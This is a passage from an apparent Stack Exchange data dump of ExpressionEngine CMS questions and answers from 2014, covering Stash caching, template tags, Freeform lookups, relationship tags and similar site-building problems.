&amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{path={stash:_parent_url}/{cat_url_title}}/&quot; data-cat-id=&quot;cat_{cat_id}&quot; data-cat-img=&quot;{if cat_image}{exp:ce_img:single src='{cat_image}' width='240' crop='yes' bg_color='#444' url_only='yes'}{if:else}/assets/img/nav_product_generic.png{/if}&quot;&amp;gt;{cat_name}&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;    {/if}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then embedded them in the main globally embedded template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed&#xA;    name=&quot;partials:nav_cat_get_list&quot;&#xA;    stash:_group_id=&quot;4&quot;&#xA;    stash:_parent_id=&quot;&quot;&#xA;    stash:_parent_url=&quot;enclosures&quot;&#xA;    stash:_cat_hd=&quot;Materials&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The menu also includes some Structure nav tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav&#xA;    include_ul=&quot;no&quot;&#xA;    start_from=&quot;/markets/energy-resources&quot;&#xA;    max_depth=&quot;1&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a Super Search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;form action=&quot;/results/&quot; method=&quot;post&quot;&amp;gt;&#xA;    {exp:super_search:search}&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; id=&quot;keywords&quot; name=&quot;keywords&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Go&amp;lt;/button&amp;gt;&#xA;    {/exp:super_search:search}&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initially the processing of the nav was causing long delays for page loading so I wrapped the whole thing in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:cache&#xA;  bundle=&quot;global&quot;&#xA;  refresh=&quot;1440&quot;&#xA;  replace=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;code&gt;{stash:nocache}&lt;/code&gt; around the search form. That sorted out the page loading times but also killed off the form and replaced it with a string that started off with &lt;em&gt;[_Stash_1_&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried moving the form outside the &lt;code&gt;stash:cache&lt;/code&gt; tag but then ended up with pages showing both the form and the odd &lt;em&gt;[_Stash_1_&lt;/em&gt; string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where am I going wrong, what do I need to do to cache the menu properly while also keeping the search form working?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-10-02T10:24:22.387" Title="Stash cacheing a large nav" Tags="|stash|structure|gwcode-categories|cache|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25972" PostTypeId="2" ParentId="25966" CreationDate="2014-10-01T04:25:13.587" Score="0" Body="&lt;p&gt;&lt;code&gt;backspace=&quot;&quot;&lt;/code&gt; also takes newlines and extra spaces into account. So if you have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:tags backspace=&quot;2&quot;}&#xA;   {tag_name}, &#xA;&#xA;&#xA;{/exp:tag:tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...this will remove the last two linebreaks, leaving the last comma intact. Instead try removing these non-printing characters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:tags backspace=&quot;2&quot;}{tag_name}, {/exp:tag:tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can happen not only with Tag, but with other add-on and native EE tags as well.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-01T04:25:13.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25973" PostTypeId="2" ParentId="25754" CreationDate="2014-10-01T07:22:37.760" Score="0" Body="&lt;p&gt;Postmaster Store hook is only for Store 1, thus the problem. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-10-01T07:22:37.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25974" PostTypeId="1" AcceptedAnswerId="25976" CreationDate="2014-10-01T08:05:31.117" Score="0" ViewCount="957" Body="&lt;p&gt;I would really appreciate it if someone can help me solve this weird problem that I have with expressionengine. Probably the problem is with the templates in particular, but I’m not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images that I have linked to the CSS are not showing on the page when I try to view a single template. I get images thumbnails instead. The CSS looks perfectly fine, but the images are not showing at all although I made sure that the link to the images folder on the server is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what might be causing this problem? &lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2014-10-01T08:34:37.977" Title="images not showing on the templates" Tags="|css|ee|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25975" PostTypeId="1" AcceptedAnswerId="26018" CreationDate="2014-10-01T08:18:06.120" Score="0" ViewCount="251" Body="&lt;p&gt;I have recently upgraded a website to 2.9.0 from 2.5.x so I'm trying to take advantage of the new (to me) relationship capabilities, specifically the siblings tag.  We have for a long time, had a relationship field (&lt;code&gt;pro_related_program&lt;/code&gt;) set up in our programs channel where you can choose another program as a related program.  This allowed us to create program series, with one overview program page (the mutual child of many parents) and child program pages with a link back to the overview page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On those child program pages I'd like an &quot;other programs in this series&quot; link.  Since it wasn't working for me, I build a bare bones template for testing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Test&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&#xA;  &amp;lt;h1&amp;gt;relationship test&amp;lt;/h1&amp;gt;&#xA;  {exp:channel:entries channel=&quot;programs&quot; url_title=&quot;PFA&quot; status=&quot;not nonexistant&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;{siblings field=&quot;pro_related_program&quot; status=&quot;not nonexistant&quot;}{if siblings:no_results}No results a{/if}&amp;lt;p&amp;gt;{siblings:title}&amp;lt;/p&amp;gt;{/siblings}&#xA;&#xA;{pro_related_program}{pro_related_program:siblings field=&quot;pro_related_program&quot; status=&quot;not nonexistant&quot;}{if pro_related_program:siblings:no_results}No results b{/if}&amp;lt;p&amp;gt;{siblings:title}&amp;lt;/p&amp;gt;{/pro_related_program:siblings}{/pro_related_program}&#xA;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the result is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Test&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&#xA;  &amp;lt;h1&amp;gt;relationship test&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Program title here&amp;lt;/h2&amp;gt;&#xA;&#xA;No results a&#xA;&#xA;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what am I doing wrong?  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it because both parents and children are both coming from the programs channel?  &lt;/li&gt;&#xA;&lt;li&gt;Is it, as I suspect it might be, because my relationship is backwards for how EE would like it to be for siblings?  (The parent should be the overview?)  Or to put it another way, do siblings only work on relationship entries where you can choose multiple children?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If that is the cause, is there a good way to fake the siblings tag for my situation?&lt;/li&gt;&#xA;&lt;li&gt;If not, is there a way to use the channel entries tag to spit out a list of programs with a relationship field filled in?  I can test all of these things, but if someone knows it would help.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-10-02T02:32:51.783" LastActivityDate="2014-10-03T08:51:13.960" Title="Problems with the native EE relationships siblings tag" Tags="|ee2|relationships|core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25976" PostTypeId="2" ParentId="25974" CreationDate="2014-10-01T08:34:37.977" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The CSS looks perfectly fine&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But it isn't. If it was then the images would load. EE won't have any influence over whether the images load or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is most likely a problem with how the image path is referenced from the page you are viewing. Are you using relative or absolute URLs? I find it helpful to create all image paths relative to the site root rather than the url being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of perhaps &quot;../../images/myimage.jpg&quot; I would use &quot;/images/myimage.jpg&quot;. Then it doesn't matter where in the site you are, you will always have a correct path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to include template code, your css, and ideally a link to a page where the images aren't loading. Otherwise this is all guesswork.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-01T08:34:37.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25977" PostTypeId="1" CreationDate="2014-10-01T09:08:48.057" Score="1" ViewCount="57" Body="&lt;p&gt;I need to do the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user completes a form and is emailed a url with a GUID on the end.  When the user clicks the link they are taken to the site and can view their submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mybeltingsite.com/90c202f2-302b-4d8b-bf06-2ffdb706532d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries entry_id=&quot;{last_segment}&quot; }&#xA;  {!-- Stuff  --}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries my_form_custom_field=&quot;{last_segment}&quot; }   &#xA;  {!-- Stuff  --} &#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the my_form_custom_field is the GUID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? &lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-10-01T12:08:38.530" Title="Freeform - view submission on frontend based on GUID" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25978" PostTypeId="1" AcceptedAnswerId="25980" CreationDate="2014-10-01T09:19:05.867" Score="0" ViewCount="399" Body="&lt;p&gt;I have a form I've created using DevDemon's 'Forms' module. To embed the form, it looks like I need to use &lt;code&gt;{exp:forms:form form_name=&quot;my_survey&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to embed this form into a blog post on the Blog channel we have. So I added the tag in to the body of the blog post field (a rich text field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems EE just outputs the string {exp:forms:form form_name=&quot;outlook_survey&quot;} rather than actually parsing the tags. Any way around this?&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2014-10-01T10:46:03.117" Title="Output EE template tags in a channel entry field?" Tags="|templates|tags|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25979" PostTypeId="1" CreationDate="2014-10-01T10:40:44.803" Score="1" ViewCount="573" Body="&lt;p&gt;I'm currently working on a site with a small members only section. My client would like to limit session length to 15 minutes. The time limit is for the front end of the site NOT the cp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and if so how?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-10-01T10:55:58.253" Title="Set Session Timeout on Front End of site" Tags="|sessions|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25980" PostTypeId="2" ParentId="25978" CreationDate="2014-10-01T10:46:03.117" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Allows ExpressionEngine code to be used in entries and then parsed in&#xA;  the template. Currently, you cannot put EE tags into an entry/post and&#xA;  have them rendered in the template. Instead, the code itself will just&#xA;  display, unprocessed. This plugin makes it so any EE tags in an entry&#xA;  will actually be parsed and have results outputted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/allow-ee-code&quot; rel=&quot;nofollow&quot;&gt;Allow EE Code&lt;/a&gt; by EllisLab&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-10-01T10:46:03.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25981" PostTypeId="2" ParentId="25979" CreationDate="2014-10-01T10:55:58.253" Score="1" Body="&lt;p&gt;You can try &lt;a href=&quot;http://devot-ee.com/add-ons/stay-up-forever&quot; rel=&quot;nofollow&quot;&gt;Stay Up Forever&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It call &quot;Forever&quot;, but based on code you can setup any session timeout in extension settings (for cpanel or/and user)&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-10-01T10:55:58.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25982" PostTypeId="1" CreationDate="2014-10-01T11:10:34.427" Score="0" ViewCount="54" Body="&lt;p&gt;On a client site which was working fine until recently we are now hitting an issue where an error is being returned before sending the user to our payment gateway:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Problem with the SSL CA cert (path? access rights?) (77)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on the root cause of this issue and how might be able to resolve?&#xA;The payment gateway we are using in this instance is SagePay (offsite).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-10-01T11:15:24.077" Title="CartThrob payment issue" Tags="|cartthrob|payment-gateway|subscriptions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25983" PostTypeId="2" ParentId="25982" CreationDate="2014-10-01T11:15:24.077" Score="2" Body="&lt;p&gt;The most simple solution in case like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reboot the server.&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-10-01T11:15:24.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25984" PostTypeId="2" ParentId="25977" CreationDate="2014-10-01T11:57:18.920" Score="2" Body="&lt;p&gt;did you try to use parameter &lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/#search_field_name&quot; rel=&quot;nofollow&quot;&gt;search:FIELD_NAME=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries search:my_form_custom_field=&quot;{last_segment}&quot; }   &#xA;  {!-- Stuff  --} &#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-10-01T12:08:38.530" LastActivityDate="2014-10-01T12:08:38.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25987" PostTypeId="1" CreationDate="2014-10-01T15:23:28.840" Score="2" ViewCount="95" Body="&lt;p&gt;I'm using template layouts, and setting variables with the {layout:set} tag.&#xA;Is there a way to append data to an already set variable?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastEditorUserId="1018" LastEditDate="2014-10-01T15:39:27.467" LastActivityDate="2015-04-29T22:16:45.460" Title="Appending more data to a layout variable" Tags="|variable|template-layouts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25990" PostTypeId="1" AcceptedAnswerId="28967" CreationDate="2014-10-01T16:01:51.103" Score="3" ViewCount="384" Body="&lt;p&gt;I have searched Ellis Labs docs, but I can't find any details about the $db['expressionengine']['cachedir'] setting in the database.php config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently 'fixed' this value (it was pointing to a non-existent directory) as an EE 2.8 site was running very slowly, but this caused problems for a custom plugin that inserts new channel entries by duplicating an existing entry and adding some new field values to the new entry, I'd like to understand how correcting this value caused this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what effects will it actually have on a site if this value is incorrect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably it's related to $db['expressionengine']['cache_on'] (also in the database.php config file)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it related to $config['enable_db_caching'] in config.php?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2015-04-13T00:25:25.007" Title="$db['expressionengine']['cachedir'] - what does it do?" Tags="|database|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25991" PostTypeId="2" ParentId="25987" CreationDate="2014-10-01T19:19:17.210" Score="2" Body="&lt;p&gt;Unfortunately, for now, version 2.9, there isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I suggest you to ask EllisLab for it. I &lt;em&gt;guess&lt;/em&gt; isn't that hard to implement, but they are possibly busy because of the &lt;a href=&quot;http://www.expressionengineconference.com/&quot; rel=&quot;nofollow&quot;&gt;EECI Conf&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This and an &lt;code&gt;output&lt;/code&gt; parameter can be really useful.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-10-01T19:19:17.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25992" PostTypeId="1" AcceptedAnswerId="25993" CreationDate="2014-10-01T21:00:24.400" Score="0" ViewCount="150" Body="&lt;p&gt;For the entries I'm using SEO Lite module but what can I do for categories landing pages metadata except default from SEO Lite module? Conditionals are not the best choice for because I have about 120 categories so I need to have that somehow automated with relation to categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2!=&quot;&quot; &amp;amp;&amp;amp; segment_3==&quot;&quot;}&#xA;{embed=&quot;includes/.header-product&quot; default_title=&quot;{segment_2_category_name} Collection&quot;}&#xA;{if:elseif segment_3!=&quot;&quot;}&#xA;{embed=&quot;includes/.header-product&quot; default_title=&quot;{segment_2_category_name} {segment_3_category_name}&quot;}&#xA;{if:else}&#xA;{embed=&quot;includes/.header-product&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking towards any tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-10-02T15:17:42.170" Title="Channel categories and metadata" Tags="|categories|seo|seo-lite|metadata|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25993" PostTypeId="2" ParentId="25992" CreationDate="2014-10-01T21:41:22.160" Score="1" Body="&lt;p&gt;Why not just create additional Category Custom Fields? They are quite limiting but a Text Input for Keywords and a Text Area field should suffice for meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about them here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_field_management.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_field_management.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-10-01T21:41:22.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25997" PostTypeId="1" AcceptedAnswerId="26016" CreationDate="2014-10-02T03:49:10.137" Score="0" ViewCount="168" Body="&lt;p&gt;I'm using Stash in a few ways.  First, as a layout template (.layout-account.html). Second, to get variables for testing.  But I'm struggling with the final part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two channels - Users (via Zoo Visitor) and Firms.  I want the user to be able to edit their own firm via a safecracker form.  There exists a Playa field within the Zoo Visitor channel called &quot;Firm&quot;.  It let's my client choose the correct firm that the user belongs to from the Firms channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Low Variable called {lv_stash_get_firm_id}.  This calls a {channel:entries} to get the value of the Playa field for their firm. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;zoo_visitor&quot; limit=&quot;1&quot; author_id=&quot;{logged_in_member_id}&quot; status=&quot;HCAA_Members-id5|Open&quot; parse=&quot;inward&quot;}&#xA;    {exp:stash:set name=&quot;firm_url&quot;}&#xA;        {embed=&quot;includes/.get_firm&quot; entry_ids=&quot;{member_firm_name:child_ids}&quot;}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template .get_firm looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;firms&quot; fixed_order=&quot;{embed:entry_ids}&quot; fixed_order=&quot;0|{embed:entry_ids}&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination|categories&quot; status=&quot;not closed&quot; parse=&quot;inward&quot;}&#xA;{entry_id}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My template for manage-firm-info looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layouts/.layout-account&quot; site_top=&quot;public_top&quot; security=&quot;yes&quot;}&#xA;{lv_stash_get_firm_url}&#xA;{exp:stash:main_content}&#xA;            {if last_segment == &quot;success&quot;}&#xA;                &amp;lt;p class=&quot;profile-update-success&quot;&amp;gt;Your information has been updated.&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;&#xA;            {exp:safecracker channel=&quot;firms&quot; entry_id=&quot;42&quot; return=&quot;/profile/{segment_2}/{segment_3}/success&quot; parse=&quot;inward&quot;}&#xA;                ... Stuff ...&#xA;            {/exp:safecracker}&#xA;{/exp:stash:main_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The .layout-account controls all of the header and footer stuff, etc., and also calls {exp:stash:main_content}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine if I use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:safecracker channel=&quot;firms&quot; entry_id=&quot;42&quot; return=&quot;/profile/{segment_2}/{segment_3}/success&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or (assuming the entry_id is in the URL)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:safecracker channel=&quot;firms&quot; entry_id=&quot;{segment_3}&quot; return=&quot;/profile/{segment_2}/{segment_3}/success&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But obviously that won't work as the entry_id won't be the same for each user.  Also, I'd rather not show the entry_id in the URL as someone could then modify it and change someone else's firm.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought I would try to use Stash to set the firm_id and them pass it into the Safecracker form like this:&#xA;    {exp:safecracker channel=&quot;firms&quot; entry_id=&quot;{stash:firm_url}&quot; return=&quot;/profile/{segment_2}/{segment_3}/success&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add {exp:stash:firm_url} prior to the Safecracker form, it spits out the correct entry_id.  So it's getting that far.  But it's not getting to the Safecracker form as it gives me an error that I need a valid entry to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this is a parsing or syntax issue but I just can't quite get there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions are greatly appreciated!!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-10-03T17:11:18.207" Title="Using Stash within Stash to pass an entry_id for Safecracker" Tags="|safecracker|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25998" PostTypeId="2" ParentId="25739" CreationDate="2014-10-02T04:43:35.610" Score="0" Body="&lt;p&gt;Here is what I ended up doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;     {exp:stash:set name=&quot;permissions&quot;}{cf_member_firm_permissions}{/exp:stash:set}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then this is below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:main_content}&#xA;    {exp:switchee variable=&quot;stash:permissions&quot; parse=&quot;inward&quot;}&#xA;       {case value=&quot;editor&quot;}&#xA;         Do this....&#xA;         My editable form&#xA;       {/case}&#xA;       {case value=&quot;read-only&quot;}&#xA;         Do this....&#xA;         My read-only form&#xA;       {/case}&#xA;    {/exp:switchee}&#xA;{/exp:stash:main_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything seems to be working with this set up.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-10-02T04:43:35.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26002" PostTypeId="2" ParentId="25971" CreationDate="2014-10-02T10:24:22.387" Score="1" Body="&lt;p&gt;As I mentioned on Twitter you should not need the Solpace tags to render your search form, according to &lt;a href=&quot;http://www.solspace.com/docs/super_search/search/&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;. The fact that your form does not work without them might point to another issue which you should explore with Solspace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, if you want to investigate the cache escaping, please make sure you are using the latest version of Stash and create the following templates to create a reduced test of the problem.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an EE template at &lt;code&gt;templates/default_templates/tests/top.html&lt;/code&gt; with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:cache}&#xA;  {stash:embed name=&quot;tests/middle&quot;}&#xA;{/exp:stash:cache}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a Stash template at &lt;code&gt;stash_templates/tests/middle.html&lt;/code&gt; with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;tests/bottom&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create another Stash template at &lt;code&gt;stash_templates/tests/bottom.html&lt;/code&gt; with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;/results/&quot; method=&quot;post&quot;&amp;gt;&#xA;{stash:nocache}&#xA; {exp:super_search:search}&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; id=&quot;keywords&quot; name=&quot;keywords&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Go&amp;lt;/button&amp;gt;&#xA;  {/exp:super_search:search}&#xA;{/stash:nocache}&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you now view &lt;code&gt;tests/top&lt;/code&gt; in your browser 3 variables should have been created in the &lt;code&gt;exp_stash&lt;/code&gt; table, which you can verify with &lt;a href=&quot;http://devot-ee.com/add-ons/mustash&quot; rel=&quot;nofollow&quot;&gt;Mustash&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;tests/middle&lt;/code&gt; with the value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;tests/bottom&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;tests/bottom&lt;/code&gt; with the value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form 